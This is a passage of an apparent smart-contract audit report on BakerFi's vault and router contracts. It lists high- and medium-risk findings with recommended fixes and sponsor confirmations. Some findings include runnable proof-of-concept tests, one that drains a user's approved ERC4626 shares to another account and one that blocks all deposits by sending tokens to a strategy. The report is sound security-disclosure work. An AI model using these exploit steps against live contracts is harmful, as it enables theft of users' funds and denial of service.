            vault := calldataload(data.offset)
            shares := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
            owner := calldataload(add(data.offset, 0x60))
        }
        shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
        uint256 assets = redeemVault(vault, shares, receiver, owner);
        Commands.pushOutputParam(callStack, assets, outputMapping, 1);
        return abi.encodePacked(assets);
    }

Withdraw underlying assets by burning shares:

    function _handleVaultWithdraw(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 assets;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            assets := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
            owner := calldataload(add(data.offset, 0x60))
        }
        assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
        uint256 shares = withdrawVault(vault, assets, receiver, owner);
        Commands.pushOutputParam(callStack, shares, outputMapping, 1);
        return abi.encodePacked(shares);
    }

To allow VaultRouter to redeem ERC4626 shares on behalf of a user, the user must approve VaultRouter to spend their shares in advance. However, the caller can be anyone when handling ERC4626 shares redeeming / underlying asset withdrawing, a malicious actor can exploit this approval to drain the user’s ERC4626 shares.

Copy below codes to VaultRouter.ts and run npm run test:

  it.only('Drain ERC4626 shares', async function () {
    const { vaultRouter, weth, vault, owner, otherAccount } = await deployFunction();
    await weth.approve(await vault.getAddress(), ethers.parseUnits('10000', 18));
    //@audit-info deposit 10000e18 WETH into vault for 10000e18 shares
    await vault.deposit(ethers.parseUnits('10000', 18), owner.address);
    expect(await vault.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
    // Approve the VaultRouter to spend vault shares from owner
    await vault.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));

    let iface = new ethers.Interface(VaultRouterABI);

    const commands = [
      [
        VAULT_ROUTER_COMMAND_ACTIONS.ERC4626_VAULT_REDEEM,
        '0x' +
          iface
            .encodeFunctionData('redeemVault', [
              await vault.getAddress(),
              ethers.parseUnits('10000', 18),
              await otherAccount.getAddress(),
              owner.address,
            ])
            .slice(10),
      ],
    ];
    //@audit-info otherAccount crafts commands to drain owner's vault shares
    await vaultRouter.connect(otherAccount).execute(commands);
    //@audit-info all shares are drained for 10000e18 WETH and transferred to the malicious user
    expect(await vault.balanceOf(owner.address)).to.equal(0);
    expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
  });

As we can see, all owner’s vault shares were drained.

Recommended mitigation steps

Both ERC4626_VAULT_REDEEM and ERC4626_VAULT_WITHDRAW commands should only handle the caller’s ERC4626 shares:

    function _handleVaultRedeem(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 shares;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            shares := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
-           owner := calldataload(add(data.offset, 0x60))
        }
+       owner = msg.sender;
        shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
        uint256 assets = redeemVault(vault, shares, receiver, owner);
        Commands.pushOutputParam(callStack, assets, outputMapping, 1);
        return abi.encodePacked(assets);
    }

    function _handleVaultWithdraw(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 assets;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            assets := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
-           owner := calldataload(add(data.offset, 0x60))
        }
+       owner = msg.sender;
        assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
        uint256 shares = withdrawVault(vault, assets, receiver, owner);
        Commands.pushOutputParam(callStack, shares, outputMapping, 1);
        return abi.encodePacked(shares);
    }

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-19

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

Medium Risk Findings (16)

[M-01] VaultBase is not ERC4626 compliant

Submitted by klau5, also found by 0xpiken, 0xpiken, shaflow2, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L188

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L155

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L278

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L337

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L164

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L287

https://github.com/code-423n4/2024-12-bakerfi/blob/0daf8a0547b6245faed5b6cd3f5daf44d2ea7c9a/contracts/core/VaultBase.sol#L346

Finding description and impact

VaultBase is not compliant with the must-have specs in ERC4626. This can break external integrations.

Proof of Concept

The official ERC4626 specifications can be found on this page. Several required specifications are not being followed. Here are the incorrectly implemented functions:

maxDeposit

Maximum amount of the underlying asset that can be deposited into the Vault for the receiver, through a deposit call. MUST return the maximum amount of assets deposit would allow to be deposited for receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely on balanceOf of asset. MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0.

VaultBase.maxDeposit always returns type(uint256).max. However, _depositInternal uses getMaxDeposit to enforce limits. This means VaultBase.maxDeposit returns incorrect values if getMaxDeposit was set. Additionally, it doesn’t return 0 when the contract is paused.

function maxDeposit(address) external pure override returns (uint256 maxAssets) {
@>  return type(uint256).max;
}

function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
    ...
    // Check if deposit exceeds the maximum allowed per wallet
@>  uint256 maxDepositLocal = getMaxDeposit();
    if (maxDepositLocal > 0) {
        uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
        uint256 newBalance = assets + depositInAssets;
        if (newBalance > maxDepositLocal) revert MaxDepositReached();
    }
    ...
}

maxMint

Maximum amount of shares that can be minted from the Vault for the receiver, through a mint call. MUST return the maximum amount of shares mint would allow to be deposited to receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely on balanceOf of asset. MUST factor in both global and user-specific limits, like if mints are entirely disabled (even temporarily) it MUST return 0.

VaultBase.maxMint always returns type(uint256).max. However, _depositInternal uses getMaxDeposit to enforce limits. This means VaultBase.maxMint returns incorrect values if getMaxDeposit was set. Additionally, it doesn’t return 0 when the contract is paused.

function maxMint(address) external pure override returns (uint256 maxShares) {
@>  return type(uint256).max;
}

function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
    ...

    // Check if deposit exceeds the maximum allowed per wallet
@>  uint256 maxDepositLocal = getMaxDeposit();
    if (maxDepositLocal > 0) {
        uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
        uint256 newBalance = assets + depositInAssets;
        if (newBalance > maxDepositLocal) revert MaxDepositReached();
    }

    ...
}

maxWithdraw

MUST factor in both global and user-specific limits, like if withdrawals are entirely disabled (even temporarily) it MUST return 0.

VaultBase.maxWithdraw doesn’t return 0 when the contract is paused.

function maxWithdraw(address shareHolder) external view override returns (uint256 maxAssets) {
    maxAssets = this.convertToAssets(balanceOf(shareHolder));
}

maxRedeem

MUST factor in both global and user-specific limits, like if redemption is entirely disabled (even temporarily) it MUST return 0.

VaultBase.maxRedeem doesn’t return 0 when the contract is paused.

function maxRedeem(address shareHolder) external view override returns (uint256 maxShares) {
    maxShares = balanceOf(shareHolder);
}

previewMint

MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call in the same transaction. i.e. mint should return the same or fewer assets as previewMint if called in the same transaction.

If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.

It is recommended that previewMint rounds up the results. (reference) It should return no less than the amount of assets the user actually should pay. But VaultBase.previewMint rounds down results.

function previewMint(uint256 shares) external view override returns (uint256 assets) {
    assets = this.convertToAssets(shares);
}

previewWithdraw

MUST return as close to and no fewer than the exact amount of Vault shares that would be burned in a withdraw call in the same transaction. i.e. withdraw should return the same or fewer shares as previewWithdraw if called in the same transaction. MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.

If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.

VaultBase takes a fee when you withdraw, but VaultBase.previewWithdraw doesn’t count the fee. previewWithdraw should return the share including the fee. Also, previewWithdraw is recommended to round up the result (reference), but VaultBase.previewWithdraw is rounding down the calculation.

function previewWithdraw(uint256 assets) external view override returns (uint256 shares) {
@>  shares = this.convertToShares(assets);
}

function convertToShares(uint256 assets) external view override returns (uint256 shares) {
    Rebase memory total = Rebase(totalAssets(), totalSupply());
@>  shares = total.toBase(assets, false);
}

function _redeemInternal(
    uint256 shares,
    address receiver,
    address holder,
    bool shouldRedeemETH
) private returns (uint256 retAmount) {
    ...

    // Calculate and handle withdrawal fees
    if (getWithdrawalFee() != 0 && getFeeReceiver() != address(0)) {
@>      fee = amount.mulDivUp(getWithdrawalFee(), PERCENTAGE_PRECISION);

        if (shouldRedeemETH && _asset() == wETHA()) {
            unwrapETH(amount);
@>          payable(receiver).sendValue(amount - fee);
            payable(getFeeReceiver()).sendValue(fee);
        } else {
@>          IERC20Upgradeable(_asset()).transfer(receiver, amount - fee);
            IERC20Upgradeable(_asset()).transfer(getFeeReceiver(), fee);
        }
    } else {
        ...
    }

    emit Withdraw(msg.sender, receiver, holder, amount - fee, shares);
    retAmount = amount - fee;
}

previewRedeem

MUST return as close to and no more than the exact amount of assets that would be withdrawn in a redeem call in the same transaction. i.e. redeem should return the same or more assets as previewRedeem if called in the same transaction. MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.

VaultBase charges withdrawal fees but VaultBase.previewRedeem doesn’t include fees. It should deduct the asset amount paid as fees.

Additionally, when withdrawing from MultiStrategyVault, amounts to undeploy are calculated per Strategy with rounding down. Since previewRedeem’s result shouldn’t exceed actual withdrawal amount, it should simulate multi-Strategy withdrawals to include losses.

function previewRedeem(uint256 shares) external view override returns (uint256 assets) {
    assets = this.convertToAssets(shares);
}

Recommended Mitigation Steps

Modify to comply with the specification of ERC4626. For MultiStrategyVault, override ERC4626 view functions to simulate multi-Strategy deposits/withdrawals and include rounding loss.

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-27

Status: Unmitigated. Full details in reports from shaflow2, and also included in the Mitigation Review section below.

[M-02] New strategy can not work due to insufficient allowance

Submitted by 0xpiken, also found by 0xlemon, klau5, and shaflow2

When a new strategy is added through MultiStrategy#addStrategy(), it was not approved to spend the asset in MultiStrategyVault. Any functions that call newStrategy#deploy() may revert and result in MultiStrategyVault being DoS’ed.

Proof of Concept

MultiStrategyVault is used to manage multiple investment strategies. A new strategy can be added through MultiStrategy#addStrategy():

107:    function addStrategy(IStrategy strategy) external onlyRole(VAULT_MANAGER_ROLE) {
108:        if (address(strategy) == address(0)) revert InvalidStrategy();
109:        _strategies.push(strategy);
110:        _weights.push(0);
111:        emit AddStrategy(address(strategy));
112:    }

However, the new strategy was not approved to spend the asset in MultiStrategyVault, resulting MultiStrategyVault being DoS’ed.

Copy below codes to VaultMultiStrategy.ts and run npm run test:

  it.only('Add Strategy - no allowance', async () => {
    const { vault, usdc, owner, otherAccount } = await loadFixture(deployMultiStrategyVaultFixture);

    //@audit-info deploy a new strategy
    const Strategy = await ethers.getContractFactory('StrategySupplyAAVEv3');
    const strategy = await Strategy.deploy(
      owner.address,
      await usdc.getAddress(),
      otherAccount.address,
    );
    await strategy.waitForDeployment();
    //@audit-info add the new strategy to vault
    await vault.addStrategy(await strategy.getAddress());
    //@audit-info the new strategy has been added
    expect(await vault.strategies()).to.include(await strategy.getAddress());
    expect(await vault.asset()).to.equal(await usdc.getAddress());
    //@audit-info however, the new strategy was not approved to spend asset of vault
    expect(await usdc.allowance(vault.target, strategy.target)).to.equal(0);
  });

As we can see, the new strategy has zero allowance.

Recommended mitigation steps

The new strategy should be approved with max allowance when added:

    function addStrategy(IStrategy strategy) external onlyRole(VAULT_MANAGER_ROLE) {
        if (address(strategy) == address(0)) revert InvalidStrategy();
        _strategies.push(strategy);
        _weights.push(0);
+       IERC20(strategy.asset()).approve(address(strategy), type(uint256).max);
        emit AddStrategy(address(strategy));
    }

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-13

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

[M-03] MultiStrategy#removeStrategy() cannot remove leverage strategies that still have deployed assets

Submitted by 0xpiken, also found by 0xlemon, pfapostol, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/MultiStrategy.sol#L265

Finding description and impact

A leverage strategy with deployed assets can not be removed from MultiStrategyVault due to insufficient assets

Proof of Concept

MultiStrategyVault is used to manage multiple investment strategies. The vault manager can remove an existing strategy by calling MultiStrategy#removeStrategy():

    function removeStrategy(uint256 index) external onlyRole(VAULT_MANAGER_ROLE) {
        // Validate the index to ensure it is within bounds
        if (index >= _strategies.length) revert InvalidStrategyIndex(index);

        // Retrieve the total assets managed by the strategy to be removed
        uint256 strategyAssets = _strategies[index].totalAssets();

        // Update the total weight and mark the weight of the removed strategy as zero
        _totalWeight -= _weights[index];
        _weights[index] = 0;

        // If the strategy has assets, undeploy them and allocate accordingly
        if (strategyAssets > 0) {
@>          IStrategy(_strategies[index]).undeploy(strategyAssets);
@>          _allocateAssets(strategyAssets);
        }

        // Move the last strategy to the index of the removed strategy to maintain array integrity
        uint256 lastIndex = _strategies.length - 1;
        if (index < lastIndex) {
            _strategies[index] = _strategies[lastIndex];
            _weights[index] = _weights[lastIndex];
        }

        emit RemoveStrategy(address(_strategies[lastIndex]));
        // Remove the last strategy and weight from the arrays
        _strategies.pop();
        _weights.pop();
    }

If the strategy to be removed has deployed assets, it will be undeployed first and then allocated to other strategies. It is expected that the equivalent amount of assets will be received when calling IStrategy.undeploy():

          IStrategy(_strategies[index]).undeploy(strategyAssets);
          _allocateAssets(strategyAssets);

However, the amount of received assets could be less than strategyAssets if the strategy is a leverage strategy.

When a leverage strategy is used to undeploy assets:

1. deltaDebt of debt token will be borrowed from flashLender
2. Then the borrowed debt token is repaid to the lending protocol to withdraw deltaCollateralAmount of collateral
3. The withdrawn collateral is swapped to debt token

4. A certain number (deltaDebt + fee) of debt token will be paid to flashLender

   function _undeploy(uint256 amount, address receiver) private returns (uint256 receivedAmount) {
       // Get price options from settings
       IOracle.PriceOptions memory options = IOracle.PriceOptions({
           maxAge: getPriceMaxAge(),
           maxConf: getPriceMaxConf()
       });
   
       // Fetch collateral and debt balances
       (uint256 totalCollateralBalance, uint256 totalDebtBalance) = getBalances();
       uint256 totalCollateralInDebt = _toDebt(options, totalCollateralBalance, false);
   
       // Ensure the position is not in liquidation state
       if (totalCollateralInDebt <= totalDebtBalance) revert NoCollateralMarginToScale();
   
       // Calculate percentage to burn to accommodate the withdrawal
       uint256 percentageToBurn = (amount * PERCENTAGE_PRECISION) / (totalCollateralInDebt - totalDebtBalance);
   
       // Calculate delta position (collateral and debt)
       (uint256 deltaCollateralInDebt, uint256 deltaDebt) = _calcDeltaPosition(
           percentageToBurn,
           totalCollateralInDebt,
           totalDebtBalance
       );
       // Convert deltaCollateralInDebt to deltaCollateralAmount
       uint256 deltaCollateralAmount = _toCollateral(options, deltaCollateralInDebt, true);
   
       // Calculate flash loan fee
       uint256 fee = flashLender().flashFee(_debtToken, deltaDebt);
   
       // Approve the flash lender to spend the debt amount plus fee
       if (!IERC20Upgradeable(_debtToken).approve(flashLenderA(), deltaDebt + fee)) {
           revert FailedToApproveAllowance();
       }
   
       // Prepare data for flash loan execution
       bytes memory data = abi.encode(deltaCollateralAmount, receiver, FlashLoanAction.PAY_DEBT_WITHDRAW);
       _flashLoanArgsHash = keccak256(abi.encodePacked(address(this), _debtToken, deltaDebt, data));
   
       // Execute flash loan
       if (!flashLender().flashLoan(IERC3156FlashBorrowerUpgradeable(this), _debtToken, deltaDebt, data)) {
           _flashLoanArgsHash = 0;
           revert FailedToRunFlashLoan();
       }
       // The amount of Withdrawn minus the repay ampunt
       emit StrategyUndeploy(msg.sender, deltaCollateralInDebt - deltaDebt);
   
       // Reset hash after successful flash loan
       _flashLoanArgsHash = 0;
   
       // Update deployed assets after withdrawal
       receivedAmount = _pendingAmount;
       uint256 undeployedAmount = deltaCollateralInDebt - deltaDebt;
       _deployedAssets = _deployedAssets > undeployedAmount ? _deployedAssets - undeployedAmount : 0;
   
       // Emit strategy update and reset pending amount
       emit StrategyAmountUpdate(_deployedAssets);
       // Pending amount is not cleared to save gas
       //_pendingAmount = 0;
   }

   The amount of received assets can be calculated as below:

Note: please see scenario in warden’s original submission.

Recommended mitigation steps

When removing a strategy from MultiStrategyVault, ensure the amount of assets to be re-allocated is same as the received amount:

    function removeStrategy(uint256 index) external onlyRole(VAULT_MANAGER_ROLE) {
        // Validate the index to ensure it is within bounds
        if (index >= _strategies.length) revert InvalidStrategyIndex(index);

        // Retrieve the total assets managed by the strategy to be removed
        uint256 strategyAssets = _strategies[index].totalAssets();

        // Update the total weight and mark the weight of the removed strategy as zero
        _totalWeight -= _weights[index];
        _weights[index] = 0;

        // If the strategy has assets, undeploy them and allocate accordingly
        if (strategyAssets > 0) {
-           IStrategy(_strategies[index]).undeploy(strategyAssets);
-           _allocateAssets(strategyAssets);
+           _allocateAssets(IStrategy(_strategies[index]).undeploy(strategyAssets));
        }

        // Move the last strategy to the index of the removed strategy to maintain array integrity
        uint256 lastIndex = _strategies.length - 1;
        if (index < lastIndex) {
            _strategies[index] = _strategies[lastIndex];
            _weights[index] = _weights[lastIndex];
        }

        emit RemoveStrategy(address(_strategies[lastIndex]));
        // Remove the last strategy and weight from the arrays
        _strategies.pop();
        _weights.pop();
    }

chefkenji (BakerFi) confirmed

BakerFi mitigated:

PR-16

Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.

[M-04] Sending tokens to a Strategy when totalSupply is 0 can permanently make the Vault unavailable

Submitted by klau5, also found by 0xlemon, MrPotatoMagic, and shaflow2

https://github.com/code-423n4/2024-12-bakerfi/blob/3873b82ae8b321473f3afaf08727e97be0635be9/contracts/core/VaultBase.sol#L244

Finding description and impact

Before the first deposit or when all shares have been withdrawn making totalSupply zero, an attacker can manipulate totalAssets by directly sending tokens to the Strategy, making the Vault permanently unusable. Additionally, in normal usage scenarios, small amounts of assets remaining in the Strategy can cause the same issue.

Proof of Concept

When depositing assets into the Vault, VaultBase._depositInternal is called. This function only allows cases where both totalAssets and totalSupply are either zero or both positive. However, it’s possible to make totalAssets non-zero while totalSupply is zero. This prevents any user from depositing tokens into the Vault.

function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
    if (receiver == address(0)) revert InvalidReceiver();
    // Fetch price options from settings
    // Get the total assets and total supply
@>  Rebase memory total = Rebase(totalAssets(), totalSupply());

    // Check if the Rebase is uninitialized or both base and elastic are positive
@>  if (!((total.elastic == 0 && total.base == 0) || (total.base > 0 && total.elastic > 0))) {
        revert InvalidAssetsState();
    }
    ...
}

The totalAssets function returns the value of _totalAssets, which is defined in both Vault and MultiStrategyVault. These return strategy.totalAssets

// Vault._totalAssets
function _totalAssets() internal view virtual override returns (uint256 amount) {
    amount = _strategy.totalAssets(); // Calls the totalAssets function of the strategy
}

// MultiStrategyVault._totalAssets
function _totalAssets() internal view virtual override(VaultBase, MultiStrategy) returns (uint256 assets) {
    assets = MultiStrategy._totalAssets(); // Calls the totalAssets function from MultiStrategy to get the total assets
}
// MultiStrategy._totalAssets
function _totalAssets() internal view virtual returns (uint256 assets) {
    for (uint256 i = 0; i < _strategies.length; ) {
@>      assets += IStrategy(_strategies[i]).totalAssets();
        unchecked {
            i++;
        }
    }
    return assets;
}

For example, looking at StrategyLeverageAAVEv3.getBalances, if an attacker deposits aTokens into the StrategyLeverageAAVEv3 contract before any Vault deposits, totalAssets will become greater than zero.

function totalAssets() external view returns (uint256 totalOwnedAssetsInDebt) {
    IOracle.PriceOptions memory priceOptions = IOracle.PriceOptions({maxAge: 0, maxConf: 0});
@>  (uint256 totalCollateral, uint256 totalDebt) = getBalances();
    uint256 totalCollateralInDebt = _toDebt(priceOptions, totalCollateral, false);
@>  totalOwnedAssetsInDebt = totalCollateralInDebt > totalDebt ? (totalCollateralInDebt - totalDebt) : 0;
}

function getBalances() public view virtual override returns (uint256 collateralBalance, uint256 debtBalance) {
    DataTypes.ReserveData memory debtReserve = (aaveV3().getReserveData(_debtToken));
@>  DataTypes.ReserveData memory collateralReserve = (aaveV3().getReserveData(_collateralToken));
    debtBalance = ERC20(debtReserve.variableDebtTokenAddress).balanceOf(address(this));
    uint8 debtDecimals = ERC20(debtReserve.variableDebtTokenAddress).decimals();
@>  uint8 collateralDecimals = ERC20(collateralReserve.aTokenAddress).decimals();
@>  collateralBalance = ERC20(collateralReserve.aTokenAddress).balanceOf(address(this));
    debtBalance = debtBalance.toDecimals(debtDecimals, SYSTEM_DECIMALS);
@>  collateralBalance = collateralBalance.toDecimals(collateralDecimals, SYSTEM_DECIMALS);
}

Furthermore, this issue can also occur in normal usage scenarios. When all shares are withdrawn from the Vault, totalSupply returns to zero. However, when calculating the number of asset tokens to give to users, the result rounds down. Therefore, a small amount of asset tokens might remain unwithdrawn in the Strategy. Subsequently, this Vault becomes unusable.

function _redeemInternal(
    uint256 shares,
    address receiver,
    address holder,
    bool shouldRedeemETH
) private returns (uint256 retAmount) {
    ...

    // Calculate the amount to withdraw based on shares
@>  uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
    if (withdrawAmount == 0) revert NoAssetsToWithdraw();

This is the PoC. You can run it by adding it to the Vault.ts file.

it('PoC - DoS before first deposit', async function () {
  const { owner, vault, strategy, aave3Pool, cbETH, otherAccount } = await loadFixture(deployFunction);

    // attacker deposit cbETH to the aave3Pool and get aToken
    const amount = '10'; // 10 wei
    await cbETH.transfer(await otherAccount.getAddress(), amount);
    await cbETH.connect(otherAccount).approve(await aave3Pool.getAddress(), amount);
    const tx = await aave3Pool.connect(otherAccount).supply(await cbETH.getAddress(), amount, await otherAccount.getAddress(), 0);

    await expect(tx)
      // @ts-ignore
      .to.emit(aave3Pool, 'Supply')
      .withArgs(
        await cbETH.getAddress(),
        await otherAccount.getAddress(),
        await otherAccount.getAddress(),
        10,
        0,
      );
    
    // send the aToken to the strategy
    const res = await aave3Pool.getReserveData(await cbETH.getAddress());
    const aTokenAddress = res[8];
    const aToken = await ethers.getContractAt('IERC20', aTokenAddress);
    await aToken.connect(otherAccount).transfer(await strategy.getAddress(), 10);

    expect(await vault.totalAssets()).to.be.greaterThan(0);
    
    // first deposit failed, because the strategy has a balance
    await expect(
      vault.depositNative(owner.address, {
        value: ethers.parseUnits('10', 18),
      }),
    ).to.be.revertedWithCustomError(vault, 'InvalidAssetsState');
});